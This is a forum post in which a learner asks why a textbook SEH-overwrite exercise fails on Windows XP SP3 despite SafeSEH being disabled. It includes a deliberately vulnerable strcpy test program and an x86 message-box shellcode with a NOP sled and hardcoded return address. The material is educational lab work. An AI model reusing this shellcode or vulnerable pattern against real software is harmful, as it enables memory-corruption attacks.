-
-
[注意]GS_SEH在xp sp3中不能运行的原因是?
-
发表于: 2011-10-27 10:21 3638
-
书中选择的是win2ksp4平台,为了避免safeseh的干扰,在P287中有说明:....现在您应该明白在6.1中我们为什么总是建议在win2k平台上进行试验了吧?
但在win xp sp3中也可以禁用SafeSEH。
通过vs2008的linker选项,在命令行中输入:/safeseh:no
编译后,使用OllySSEH可以看到,该模块被识别为/safeseh:off
根据P294的说明,该选项表示:未启用SafeSEH,这种模块可以作为跳板
但是,调试的结果显示,SEH被覆盖后,依然进行了其他检测。
附:代码
以及strcpy结束时的调试截图:
但在win xp sp3中也可以禁用SafeSEH。
通过vs2008的linker选项,在命令行中输入:/safeseh:no
编译后,使用OllySSEH可以看到,该模块被识别为/safeseh:off
根据P294的说明,该选项表示:未启用SafeSEH,这种模块可以作为跳板
但是,调试的结果显示,SEH被覆盖后,依然进行了其他检测。
附:代码
#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
void test(char * input)
{
char buf[200];
__asm int 3
strcpy(buf,input);
strcat(buf,input);
}
void main()
{
test(shellcode);
}
以及strcpy结束时的调试截图:
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
- [原创]第一题 WannaLOL -- writeup 2354
- [注意]GS_SEH在xp sp3中不能运行的原因是? 3639
- [求助]int3中断后在OD中不能继续运行 6750
- [讨论]书中的错误汇总 3548
谁下载
freezer
jinyh
hhxx
kuronca
xPLK
magicchen
AASSMM
caozhihua
wangke
mywxc
ydfivy
mmnewtod
EvilTobe
Einsbing
loongboy
wysj
PCanyi
小河北
zihanhdd
hithdsss
anye
Yadda
ChinaChirs
马来
xnhandt
ytbjplh
vintage
hai海豚
calford张
追途人
stupidbird
winDker
aniuzeng
substr
hbozyj
骑士nop
mkjbird
南宫世家
NewbieR
mengjiangs
kxzhongxin
xujiajay
huenshou
genf
谁下载
freezer
jinyh
hhxx
kuronca
xPLK
magicchen
AASSMM
caozhihua
wangke
mywxc
ydfivy
mmnewtod
EvilTobe
Einsbing
loongboy
wysj
PCanyi
小河北
zihanhdd
hithdsss
anye
Yadda
ChinaChirs
马来
xnhandt
ytbjplh
vintage
hai海豚
calford张
追途人
stupidbird
winDker
aniuzeng
substr
hbozyj
骑士nop
mkjbird
南宫世家
NewbieR
mengjiangs
kxzhongxin
xujiajay
huenshou
genf
看原图
赞赏
雪币:
留言: